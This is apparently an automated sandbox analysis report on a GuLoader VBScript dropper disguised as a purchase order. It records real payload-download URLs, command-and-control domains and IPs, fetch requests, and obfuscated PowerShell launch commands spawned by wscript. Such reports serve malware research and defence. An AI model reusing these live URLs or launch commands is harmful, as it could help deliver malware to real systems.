Windows Analysis Report
PO-19903.vbs

Overview

General Information

Sample Name: PO-19903.vbs
Analysis ID: 625175
MD5: 0347b27843d88f73fdcd4dadb95549ac
SHA1: 2a2d6bcd2d83833d501b9695921855e1992f6ec8
SHA256: 1ab3aacaa62faa6a83173e9191972d427aab92f33c527f6964f141e21c930e67
Infos:

Detection

GuLoader
Score: 100
Range: 0 - 100
Whitelisted: false
Confidence: 100%

Signatures

Found malware configuration
Multi AV Scanner detection for submitted file
Antivirus detection for URL or domain
Multi AV Scanner detection for domain / URL
Yara detected GuLoader
Writes to foreign memory regions
Tries to detect Any.run
Wscript starts Powershell (via cmd or directly)
Potential malicious VBS script found (has network functionality)
Encrypted powershell cmdline option found
Very long command line found
C2 URLs / IPs found in malware configuration
Uses dynamic DNS services
Queries the volume information (name, serial number etc) of a device
Yara signature match
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
May sleep (evasive loops) to hinder dynamic analysis
Uses code obfuscation techniques (call, push, ret)
Internet Provider seen in connection with other malware
Detected potential crypto function
JA3 SSL client fingerprint seen in connection with other malware
Found dropped PE file which has not been started or loaded
IP address seen in connection with other malware
Contains long sleeps (>= 3 min)
Abnormal high CPU Usage
Enables debug privileges
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Java / VBScript file with very long strings (likely obfuscated code)
Drops PE files
Tries to load missing DLLs
Uses a known web browser user agent for HTTP communication
Detected TCP or UDP traffic on non-standard ports
Checks if the current process is being debugged
Compiles C# or VB.Net code
Creates a process in suspended mode (likely to inject code)
Found WSH timer for Javascript or VBS script (likely evasive script)

Classification

AV Detection

barindex
Source: 00000009.00000000.4302405352.0000000000630000.00000040.00000400.00020000.00000000.sdmp Malware Configuration Extractor: GuLoader {"Payload URL": "https://vegproworld.com/wp-content/Touchb.vbs"}
Source: PO-19903.vbs ReversingLabs: Detection: 19%
Source: http://pesterbdd.com/images/Pester.png Avira URL Cloud: Label: malware
Source: vegproworld.com Virustotal: Detection: 5% Perma Link
Source: unknown HTTPS traffic detected: 148.66.138.165:443 -> 192.168.11.20:49738 version: TLS 1.2
Source: unknown HTTPS traffic detected: 13.107.43.13:443 -> 192.168.11.20:49739 version: TLS 1.2
Source: Binary string: $}l8C:\Users\user\AppData\Local\Temp\ppgnlr3u\ppgnlr3u.pdb source: powershell.exe, 00000002.00000002.4964701496.0000000005284000.00000004.00000800.00020000.00000000.sdmp

Networking

barindex
Source: Initial file: Matri11.SaveToFile FileName, adSaveCreateOverWrite
Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exe Dropped file: MILIEUFOR1.SaveToFile FileName, adSaveCreateOverWrite Jump to dropped file
Source: Malware configuration extractor URLs: https://vegproworld.com/wp-content/Touchb.vbs
Source: unknown DNS query: name: toshiba1122.ddns.net
Source: unknown DNS query: name: toshiba1122.duckdns.org
Source: Joe Sandbox View ASN Name: VCG-ASNG VCG-ASNG
Source: Joe Sandbox View JA3 fingerprint: 37f463bf4616ecd445d4a1937da06e19
Source: Joe Sandbox View IP Address: 13.107.43.13 13.107.43.13
Source: Joe Sandbox View IP Address: 148.66.138.165 148.66.138.165
Source: global traffic HTTP traffic detected: GET /wp-content/Touchb.vbs HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoHost: vegproworld.comCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /download?cid=7EB674A88CCF381D&resid=7EB674A88CCF381D%21126&authkey=AKOI304UDXKDuEA HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoHost: onedrive.live.comCache-Control: no-cacheCookie: MUID=20718A960FA8687F03949A000BA86C7A
Source: global traffic TCP traffic: 192.168.11.20:49741 -> 194.5.98.59:3360
Source: global traffic TCP traffic: 192.168.11.20:49742 -> 197.210.226.45:3360
Source: global traffic TCP traffic: 192.168.11.20:49752 -> 197.210.226.89:3360
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown Network traffic detected: HTTP traffic on port 49738 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49739 -> 443
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: ieinstal.exe, 00000009.00000002.8458973630.0000000002BD6000.00000004.00000020.00020000.00000000.sdmp, ieinstal.exe, 00000009.00000003.4413614771.0000000002BD6000.00000004.00000020.00020000.00000000.sdmp, ieinstal.exe, 00000009.00000003.4414053518.0000000002BD6000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://crl.comodoca.com/AAACertificateServices.crl06
Source: ieinstal.exe, 00000009.00000002.8458973630.0000000002BD6000.00000004.00000020.00020000.00000000.sdmp, ieinstal.exe, 00000009.00000003.4413614771.0000000002BD6000.00000004.00000020.00020000.00000000.sdmp, ieinstal.exe, 00000009.00000003.4414053518.0000000002BD6000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://crl.globalsign.net/root-r2.crl0
Source: powershell.exe, 00000002.00000002.4975592880.0000000006188000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://nuget.org/NuGet.exe
Source: powershell.exe, 00000002.00000002.4964701496.0000000005284000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://pesterbdd.com/images/Pester.png
Source: powershell.exe, 00000002.00000002.4962804666.0000000005121000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: powershell.exe, 00000002.00000002.4964701496.0000000005284000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
Source: powershell.exe, 00000002.00000002.4962804666.0000000005121000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://aka.ms/pscore6lB
Source: powershell.exe, 00000002.00000002.4975592880.0000000006188000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://contoso.com/
Source: powershell.exe, 00000002.00000002.4975592880.0000000006188000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://contoso.com/Icon
Source: powershell.exe, 00000002.00000002.4975592880.0000000006188000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://contoso.com/License
Source: powershell.exe, 00000002.00000002.4964701496.0000000005284000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://github.com/Pester/Pester
Source: powershell.exe, 00000002.00000002.4973562589.00000000059A6000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://go.micro
Source: ieinstal.exe, 00000009.00000002.8458973630.0000000002BD6000.00000004.00000020.00020000.00000000.sdmp, ieinstal.exe, 00000009.00000002.8458100390.0000000002B94000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://jgdbpa.am.files.1drv.com/
Source: ieinstal.exe, 00000009.00000002.8458973630.0000000002BD6000.00000004.00000020.00020000.00000000.sdmp, ieinstal.exe, 00000009.00000002.8458764109.0000000002BBE000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://jgdbpa.am.files.1drv.com/y4maRwf2HHiC3pXkJNQF9GW7D5PTiYgoa5jSqqmo4o-s2nHza5cDyEK1j43pCU9Ua1Y
Source: ieinstal.exe, 00000009.00000002.8458973630.0000000002BD6000.00000004.00000020.00020000.00000000.sdmp, ieinstal.exe, 00000009.00000003.4444820883.0000000002C3C000.00000004.00000020.00020000.00000000.sdmp, ieinstal.exe, 00000009.00000002.8459529246.0000000002C3E000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://jgdbpa.am.files.1drv.com/y4mstf71DnOKqqDiI505gr5x-9GCiHWv5DdrHG7ALTidojrV4lxxrd7sQ3eLTcarbaq
Source: powershell.exe, 00000002.00000002.4975592880.0000000006188000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://nuget.org/nuget.exe
Source: ieinstal.exe, 00000009.00000002.8458973630.0000000002BD6000.00000004.00000020.00020000.00000000.sdmp, ieinstal.exe, 00000009.00000002.8458764109.0000000002BBE000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://onedrive.live.com/
Source: ieinstal.exe, 00000009.00000002.8458973630.0000000002BD6000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://onedrive.live.com/:
Source: ieinstal.exe, 00000009.00000002.8458100390.0000000002B94000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://onedrive.live.com/download?cid=7EB674A88CCF381D&resid=7EB674A88CCF381D%21126&authkey=AKOI304
Source: ieinstal.exe, 00000009.00000002.8458764109.0000000002BBE000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://onedrive.live.com/ndows
Source: ieinstal.exe, 00000009.00000002.8457496133.0000000002B79000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://vegproworld.com/:k
Source: ieinstal.exe, 00000009.00000002.8457496133.0000000002B79000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://vegproworld.com/rj-$
Source: ieinstal.exe, 00000009.00000002.8457894075.0000000002B8F000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://vegproworld.com/wp-content/Touchb.vbs
Source: unknown DNS traffic detected: queries for: vegproworld.com
Source: global traffic HTTP traffic detected: GET /wp-content/Touchb.vbs HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoHost: vegproworld.comCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /download?cid=7EB674A88CCF381D&resid=7EB674A88CCF381D%21126&authkey=AKOI304UDXKDuEA HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoHost: onedrive.live.comCache-Control: no-cacheCookie: MUID=20718A960FA8687F03949A000BA86C7A
Source: unknown HTTPS traffic detected: 148.66.138.165:443 -> 192.168.11.20:49738 version: TLS 1.2
Source: unknown HTTPS traffic detected: 13.107.43.13:443 -> 192.168.11.20:49739 version: TLS 1.2

System Summary

barindex
Source: C:\Windows\System32\wscript.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "IwBEAGkAcwBkAGEAaQAgAEQAaQBzAGgAdQBtAGEANQAgAFMAbwByAHQAIABUAEEARgBGAEUAIABDAHIAYQBtAHAAbwBvAG4AZAAgAEcAUgBVAE4AVABJAE4ARwBCACAAUAByAGUAYQBtAGIAdQBsAGEAdAAzACAAQQBzAHMAaQBtAGkAbAA2ACAARgB1AHIAcwBlAG0AaQBkAGUAYgAgAEYAdQByAGkAZQBuAHMAZABlAGMAIABBAGwAYQByAG0AdQByAGUAMgAgAEMAaABvAHIAaQBiACAASABVAE0ATwAgAEYASQBTAFQARQBMAFMAVABFAE0AIABTAHQAZQBnAGUAIABjAGgAZQBzAHMAZQAgAGIAYQByAHIAeQBtAG8AcgAgAEEAbgBuAGcAcgBlAHQAaABlADMAIAANAAoAIwBSAGUAbQBpAG4AZwBsAGkANAAgAGUAcgBuAHIAIABCAGUAcwBwAHkAdAAgAFMAdQBsAHAAaABvAHoAaQBuADgAIABWAEkAUgBHAFUATABBACAASQBGAFIARAAgAEYAbwByAGUAIABQAGwAdQByAGEAbAB2AGUAawBzADEAIABQAHIAbwBmAGkAbABlAG4AdQAgAG4AbwBuAGYAbwAgAEkAbgBqAHUAcwB0ADkAIABOAG8AdQByAGkAcwBoAG0AZQBuADMAIAB0AG8AbQBhAGgAYQB2AGsAZQBuACAARQBzAHMAYQB5ADEAIABCAEwAQQBBACAAdAByAGEAbgBzAG0AbwBnACAAaAB1AGwAawAgAGkAbgBsAGEAeQBlACAADQAKACMAawB2AGEAcgAgAEsAbwBiAGEAbgBnAGYAbwByADYAIABIAHkAcABlAHIAYQByAGMANgAgAEcAQQBSAEQARQBSAE8AQgBFAE4AIABPAG4AYwBvAHMAcABoAGUAcgBlACAAQgB1AG4AZwBsAGkAbgAgAEIAQQBSAFkAVAAgAFQATwBNAEEAUwBUAEUAIABDAE8AUgBSAE8AQgBPAFIAQQBUACAAQwBZAEsARQBMAFAAQQBSACAAUwB0AGEAZABzAGwAZwAzACAAQgBhAGMAaQBsAGwAZQBiACAAQgBMAFUAUgBUAEkATgAgAGEAZABtAGkAbgBpAHMAdAByACAATQBpAGwAaQBlAHUAYgAzACAAQgBsAGEAZABlAGwAZQA4ACAAYQBwAG8AbQBlAHQAYQBiACAADQAKACMAUABlAGEAbAA4ACAASwBpAG4AZwA5ACAATwBwAG0AcgBrAGUAcgBjAG8AIABJAEQARQBMAEkARwBFAFMASQAgAFMAeQBzAHQAZQBtAGEAdAA3ACAAUAByAGUAbwBwAGUAcgAzACAAUgBlAHMAbwAgAFMAUABBAEcATgBVAE0AIABMAGEAbgBkACAAcgBlAGMAawBvAG4AaQAgAGQAZQBwAHIAYQB2AGUAcgAgAGYAYQByAHQAagBzAGYAbwByAHQAIABMAEEATgBOACAARwByAGkAZgBmAG8AbgBhAGcAMwAgAEEARgBTAEUAIABoAGoAcwBkACAAYQBuAGEAbAB5AHMAZQBhAHIAYgAgAEEATQBVAEwAQQBTACAADQAKACMAdQBuAGoAbwBsAGwAeQAgAEkAbgBzAHQAcgB1AG0AZQBuACAARwBMAEEATABJAEkATgBHAEwAIABSAGUAcwBvAGEAcAAgAFcAbwBtAGEAbgBpACAATABlAGcAZwBpAGUAcgA1ACAAVQBOAEIAUgBFAEEASwBJAE4ARwAgAE8AcgBpAGwAbABpAG8AIABhAGQAcgBlAGEAIABBAEwAVABPAEwAQQBUACAARgBhAGcAbwAyACAASQBuAGYAbABhAG0AbQBhAHQANgAgAEMATwBDAEsATgBFAFkARABPAE0AIABTAFkATQBQAE8AUwBJACAAZwByAGEAdgBlAHIAZQB1ACAARgBPAFIAVQBEACAARgBBAFMAVABSAEUAUwBGAEkAIABLAG8AbgB0AHIAbwBsACAAUwBLAFIATABFAFYAIABBAE4AQQBMAFkAVABJAEsARQBSACAAVQBOAEMAUgAgAFMAbwByAHQAcwByACAAdgBpAGQAbgBlAGYAcgBzACAARQBPAEMAQQBSAEIATwAgAFQAYQBrAHQAIABCAGUAdAB2AGkAdgBsAGUAcgAzACAAVgBlAGwAYQByACAADQAKACMAUgBlAHYAYQBuAGMAaABlAHIAIABXAG8AcgBkAGEAYgBsAGUAcwAgAGwAbwB1AHMAaQBlAHIAbQBhACAAaQBuAGQAbABvAGcAcgBiAHIAbgAgAEEAdAB0AGEAIABSAEUAQgBMAE8AVwBOAEcAVQAgAFEAVQBFAEIAUgBJAFQASABDACAARwBSAE4AUwBFAE8AVgBFAFIARwAgAGYAcgB5AHQAbABlAHIAbgBlAHMAIABMAEUATQBQAEUATABJAEcARQBTACAADQAKACMAYQBuAGQAZQBsAHMAcwAgAEMAYQBtAGIAYQBsAGwAbQA0ACAAUwBvAHIAdABlAHIAaQBuAGcAIABMAG4AZwBzAHQAbABlAHYAZQBuACAAbwB1AHQAYgBvAHgAZQAgAFMASQBHAE4ASQBGAEkAQwBBAFQAIABNAGEAbgBhACAARABVAE4ASwBBAFIARAAgAFUAbgBzAGMAbwByACAAdAByAG8AbgBiACAAaAB5AHAAbwBoAGUAbQBpAGEAZwAgAE0AQQBUAFQARQBTAFQARQAgAGUAbgBnAHIAbwBzACAARgBlAHIAaQAyACAAVQBOAEMATwBOAFYARQAgAE0AaQBuAGQAcwB0AGUAaABqACAATgBpAHQAcgBvAGcAZQ
Source: C:\Windows\SysWOW64\wscript.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "IwBtAGUAcwBvACAAZABpAHQAdABvAGcAIABzAHQAagBlAHIAdABoAGEAZwBlACAAUAByAGUAdgBhAHIAaQBjAGEAdAAxACAAUAB5AHIAbwBsADYAIABkAGUAbAB1AG0AaQBuAGkAIABUAGEAcwB0AGUAYQByADcAIAB0AHIAbwBwAG8AIABlAG4AZwByACAAbgBvAG4AcgBlAHAAZQBuAHQAYQAgAA0ACgAjAFMAbQBpAHQAdAB5ADEAIABTAFAAUgBFAE4ARwAgAFUATgBWAEkAUwAgAEEAbABsAGUAcgBoAHYAIABBAHIAYwBoAGkAcAA5ACAAUgBJAE4ARwBNAFIASwBOAEkAIABVAG4AYwBvAG4AOQAgAEoARQBOAEIAUgBZACAARQBqAGEAawB1AGwAZQAgAFMAVABKAEUAUgAgAEsATwBNAE0AVQBOAEkASwAgAFMAbwByAHQAawA4ACAAcABoAGEAZQAgAFUAcQB2AHMAeQAgAE0AbwBuAG8AcAAzACAAQwBvAHUAbgB0AGUAcgBjAGwAMQAgAGIAYQBhAGwAYQBtAGIAcwAgAEUAeABwAGwAbwBzAGkAYgBsACAARQBQAEkARwBSACAAQwBlAHAAaABhAGwAbwBoAHUAbQAgAHQAZQBnAG4AdAAgAEcAUABTAEUATQBVAEwAUwAgAEEAZgBsAGEAYQBzADYAIABBAHMAYgBrADYAIAANAAoAIwBhAGIAaQBkAGkAIABQAGUAbgBnADkAIABhAHAAaABhACAAQwBhAHUAbABrAGUAcgBzACAAVABSAEYARgBFACAAVAB5AHAAaABvAG8AbgB0AG8AMwAgAGsAcgBhAHAAaQBuAGEAZgAgAEUAbgBsAGkAZwBzAHQAaQAyACAAUwBhAG4AawB0AGgAYQBuAHMAIABHAGUAbgBuAGUAbQA4ACAAQwBlAGwAaQBlAGMANgAgAEsAYQB0AGoAIAANAAoAIwBFAHAAaQBsAGUAcABzAGkAZQBuACAAUwBFAE0ASQBTAE8ATABVACAAcwBwAHIAZQBkAG4AaQBuACAATQBFAFQASABZACAAUABhAHIAYQBtAGUAIABCAHIAbgBlAGgAYQB2AGUAMgAgAEcARQBSAE0AQQBOAEkAUwBUACAARABSAEUAVABTAFMAIABFAE4AUwBQAE8AUgBFAFQASAAgAFMAdABlAGQAbQBvAGQANwAgAFMAdgBvAHYAbABzAHkAcgBlACAAQgBvAHIAZwBlAHIAcgAgAEsAbwBsAHAAbwByAHQAMQAgAHAAbABlAHUAcgBvAHQAIAANAAoAIwBiAG8AbgBzAGEAaQAgAFAAcwBlAHUAZABvACAAZgByAGkAdABpAGQAcwBjAGUAbgAgAFQARQBBAFQARQBSAEcATgAgAFAATABBAE4ARQBSAFMAIABWAEkATgBEAE0AIABTAHAAYQBsAHQAZQAgAFQAYQBiAGUAbAAyACAAQQBtAGIAYQBkAGUAZQBkAGkAZQAgAEMAaQBuAGQAZQByAHMAYgBhAG4AIABDAG8AYQB0AHQAMwAgAEMASABSAE8ATQBBAFQAIABjAGEAcgBsACAAUwB0AGkAZgB0ADEAIABzAHQAdgBmAG4AIABLAG8AbQBtAHUAbgBhADMAIABSAFIAVABBAE4AIABOAG8AbgBvAGkAbAAgAA0ACgAjAHMAZQBwAHQAZQBuAGEAdAAgAFAAcwBlAHUAZABvAGEAbQBiADgAIABOAG8AbgByAGEAYwBpAGEAIABWAGwAZwBlAHIAZQBzAGsAMwAgAEQAbwBnAGgAbwAgAFAAcgBvAGcAcgBhAG0AbQAgAEYATABVAEcAVABTAEsAWQBEACAAYwBsAGEAdQBzAHQAIABTAEUATABWAEYASQBOACAADQAKACMAZABpAHMAcABlAG4AcwAgAEEARgBGAEEATABEAFMAUAAgAFAAbABuAGUAcgBuAGUAcgAgAEcAbwByAGQAeQBrAG4AMQAgAEIAaQBvAGUAbAAgAFIAaABpAHoAIABOAG8AbgBhAGQAagBhADkAIABCAHIAaQBzADIAIABTAFQAVQBEACAAawBvAHIAcABvAHIAbABpAGcAdAAgAEMAaABhAHIAYwB1AHQAaQAyACAATQBhAGwAdABpAG4AZwBwAGUANgAgAFMAaQBrAGsAZQByAGgAMwAgAFUATgBJAFQASQBOAEcASQBOACAAZABpAHMAZQBuAHMAIAANAAoAIwBTAFAASQBTACAAcwB0AHIAeQBrAG4AaQAgAFQAcgBlAGEAcwB1AHIAZQAyACAAZgByAGUAZQB6ACAARABpAHMAbwByAGQAZQAgAEMAaQBmAGYAZQByAGYAbAAgAG0AZQB0AGEAZwBlAHMAIABVAHMAdABlAG0AcAAgAGUAZgB0AGUAcgBrAG8AbQBtACAAUwB5AG4AcwBtAHMANAAgAEwATgBTAEwAQQBWAEUAUwBSACAAQwBhAHQAcwA0ACAAcwBvAHYAcwAgAFcAaQBuAHMAIABQAHIAZQBjAGUAcAB0AGEANwAgAFQAQQBSAFMATwBNAEEATAAgAE8AYgBzAHQAZQByAG4AYQBzAGkANAAgAEUARgBUAEUAUgBUAFIAIABCAGwAZQBzAGsAdQBkADIAIAANAAoAIwB3AG8AbwBsAGUAbgBzAHIAIABQAEwATwBDAEUASQBGAE8AUgBNACAAUgBhAHUAbgBvACAAVABZAFAARQBSACAAaQBuAG4AdQBlAG4AZABvACAAUgBBAFAAUAAgAEIAbwBnAHMAdABhAHYAawAgAHUAYgBlAHMAIABBAGIAcwBpAG4AdABoACAARgBvAHIAcw
Source: C:\Windows\System32\wscript.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "IwBEAGkAcwBkAGEAaQAgAEQAaQBzAGgAdQBtAGEANQAgAFMAbwByAHQAIABUAEEARgBGAEUAIABDAHIAYQBtAHAAbwBvAG4AZAAgAEcAUgBVAE4AVABJAE4ARwBCACAAUAByAGUAYQBtAGIAdQBsAGEAdAAzACAAQQBzAHMAaQBtAGkAbAA2ACAARgB1AHIAcwBlAG0AaQBkAGUAYgAgAEYAdQByAGkAZQBuAHMAZABlAGMAIABBAGwAYQByAG0AdQByAGUAMgAgAEMAaABvAHIAaQBiACAASABVAE0ATwAgAEYASQBTAFQARQBMAFMAVABFAE0AIABTAHQAZQBnAGUAIABjAGgAZQBzAHMAZQAgAGIAYQByAHIAeQBtAG8AcgAgAEEAbgBuAGcAcgBlAHQAaABlADMAIAANAAoAIwBSAGUAbQBpAG4AZwBsAGkANAAgAGUAcgBuAHIAIABCAGUAcwBwAHkAdAAgAFMAdQBsAHAAaABvAHoAaQBuADgAIABWAEkAUgBHAFUATABBACAASQBGAFIARAAgAEYAbwByAGUAIABQAGwAdQByAGEAbAB2AGUAawBzADEAIABQAHIAbwBmAGkAbABlAG4AdQAgAG4AbwBuAGYAbwAgAEkAbgBqAHUAcwB0ADkAIABOAG8AdQByAGkAcwBoAG0AZQBuADMAIAB0AG8AbQBhAGgAYQB2AGsAZQBuACAARQBzAHMAYQB5ADEAIABCAEwAQQBBACAAdAByAGEAbgBzAG0AbwBnACAAaAB1AGwAawAgAGkAbgBsAGEAeQBlACAADQAKACMAawB2AGEAcgAgAEsAbwBiAGEAbgBnAGYAbwByADYAIABIAHkAcABlAHIAYQByAGMANgAgAEcAQQBSAEQARQBSAE8AQgBFAE4AIABPAG4AYwBvAHMAcABoAGUAcgBlACAAQgB1AG4AZwBsAGkAbgAgAEIAQQBSAFkAVAAgAFQATwBNAEEAUwBUAEUAIABDAE8AUgBSAE8AQgBPAFIAQQBUACAAQwBZAEsARQBMAFAAQQBSACAAUwB0AGEAZABzAGwAZwAzACAAQgBhAGMAaQBsAGwAZQBiACAAQgBMAFUAUgBUAEkATgAgAGEAZABtAGkAbgBpAHMAdAByACAATQBpAGwAaQBlAHUAYgAzACAAQgBsAGEAZABlAGwAZQA4ACAAYQBwAG8AbQBlAHQAYQBiACAADQAKACMAUABlAGEAbAA4ACAASwBpAG4AZwA5ACAATwBwAG0AcgBrAGUAcgBjAG8AIABJAEQARQBMAEkARwBFAFMASQAgAFMAeQBzAHQAZQBtAGEAdAA3ACAAUAByAGUAbwBwAGUAcgAzACAAUgBlAHMAbwAgAFMAUABBAEcATgBVAE0AIABMAGEAbgBkACAAcgBlAGMAawBvAG4AaQAgAGQAZQBwAHIAYQB2AGUAcgAgAGYAYQByAHQAagBzAGYAbwByAHQAIABMAEEATgBOACAARwByAGkAZgBmAG8AbgBhAGcAMwAgAEEARgBTAEUAIABoAGoAcwBkACAAYQBuAGEAbAB5AHMAZQBhAHIAYgAgAEEATQBVAEwAQQBTACAADQAKACMAdQBuAGoAbwBsAGwAeQAgAEkAbgBzAHQAcgB1AG0AZQBuACAARwBMAEEATABJAEkATgBHAEwAIABSAGUAcwBvAGEAcAAgAFcAbwBtAGEAbgBpACAATABlAGcAZwBpAGUAcgA1ACAAVQBOAEIAUgBFAEEASwBJAE4ARwAgAE8AcgBpAGwAbABpAG8AIABhAGQAcgBlAGEAIABBAEwAVABPAEwAQQBUACAARgBhAGcAbwAyACAASQBuAGYAbABhAG0AbQBhAHQANgAgAEMATwBDAEsATgBFAFkARABPAE0AIABTAFkATQBQAE8AUwBJACAAZwByAGEAdgBlAHIAZQB1ACAARgBPAFIAVQBEACAARgBBAFMAVABSAEUAUwBGAEkAIABLAG8AbgB0AHIAbwBsACAAUwBLAFIATABFAFYAIABBAE4AQQBMAFkAVABJAEsARQBSACAAVQBOAEMAUgAgAFMAbwByAHQAcwByACAAdgBpAGQAbgBlAGYAcgBzACAARQBPAEMAQQBSAEIATwAgAFQAYQBrAHQAIABCAGUAdAB2AGkAdgBsAGUAcgAzACAAVgBlAGwAYQByACAADQAKACMAUgBlAHYAYQBuAGMAaABlAHIAIABXAG8AcgBkAGEAYgBsAGUAcwAgAGwAbwB1AHMAaQBlAHIAbQBhACAAaQBuAGQAbABvAGcAcgBiAHIAbgAgAEEAdAB0AGEAIABSAEUAQgBMAE8AVwBOAEcAVQAgAFEAVQBFAEIAUgBJAFQASABDACAARwBSAE4AUwBFAE8AVgBFAFIARwAgAGYAcgB5AHQAbABlAHIAbgBlAHMAIABMAEUATQBQAEUATABJAEcARQBTACAADQAKACMAYQBuAGQAZQBsAHMAcwAgAEMAYQBtAGIAYQBsAGwAbQA0ACAAUwBvAHIAdABlAHIAaQBuAGcAIABMAG4AZwBzAHQAbABlAHYAZQBuACAAbwB1AHQAYgBvAHgAZQAgAFMASQBHAE4ASQBGAEkAQwBBAFQAIABNAGEAbgBhACAARABVAE4ASwBBAFIARAAgAFUAbgBzAGMAbwByACAAdAByAG8AbgBiACAAaAB5AHAAbwBoAGUAbQBpAGEAZwAgAE0AQQBUAFQARQBTAFQARQAgAGUAbgBnAHIAbwBzACAARgBlAHIAaQAyACAAVQBOAEMATwBOAFYARQAgAE0AaQBuAGQAcwB0AGUAaABqACAATgBpAHQAcgBvAGcAZQ Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "IwBtAGUAcwBvACAAZABpAHQAdABvAGcAIABzAHQAagBlAHIAdABoAGEAZwBlACAAUAByAGUAdgBhAHIAaQBjAGEAdAAxACAAUAB5AHIAbwBsADYAIABkAGUAbAB1AG0AaQBuAGkAIABUAGEAcwB0AGUAYQByADcAIAB0AHIAbwBwAG8AIABlAG4AZwByACAAbgBvAG4AcgBlAHAAZQBuAHQAYQAgAA0ACgAjAFMAbQBpAHQAdAB5ADEAIABTAFAAUgBFAE4ARwAgAFUATgBWAEkAUwAgAEEAbABsAGUAcgBoAHYAIABBAHIAYwBoAGkAcAA5ACAAUgBJAE4ARwBNAFIASwBOAEkAIABVAG4AYwBvAG4AOQAgAEoARQBOAEIAUgBZACAARQBqAGEAawB1AGwAZQAgAFMAVABKAEUAUgAgAEsATwBNAE0AVQBOAEkASwAgAFMAbwByAHQAawA4ACAAcABoAGEAZQAgAFUAcQB2AHMAeQAgAE0AbwBuAG8AcAAzACAAQwBvAHUAbgB0AGUAcgBjAGwAMQAgAGIAYQBhAGwAYQBtAGIAcwAgAEUAeABwAGwAbwBzAGkAYgBsACAARQBQAEkARwBSACAAQwBlAHAAaABhAGwAbwBoAHUAbQAgAHQAZQBnAG4AdAAgAEcAUABTAEUATQBVAEwAUwAgAEEAZgBsAGEAYQBzADYAIABBAHMAYgBrADYAIAANAAoAIwBhAGIAaQBkAGkAIABQAGUAbgBnADkAIABhAHAAaABhACAAQwBhAHUAbABrAGUAcgBzACAAVABSAEYARgBFACAAVAB5AHAAaABvAG8AbgB0AG8AMwAgAGsAcgBhAHAAaQBuAGEAZgAgAEUAbgBsAGkAZwBzAHQAaQAyACAAUwBhAG4AawB0AGgAYQBuAHMAIABHAGUAbgBuAGUAbQA4ACAAQwBlAGwAaQBlAGMANgAgAEsAYQB0AGoAIAANAAoAIwBFAHAAaQBsAGUAcABzAGkAZQBuACAAUwBFAE0ASQBTAE8ATABVACAAcwBwAHIAZQBkAG4AaQBuACAATQBFAFQASABZACAAUABhAHIAYQBtAGUAIABCAHIAbgBlAGgAYQB2AGUAMgAgAEcARQBSAE0AQQBOAEkAUwBUACAARABSAEUA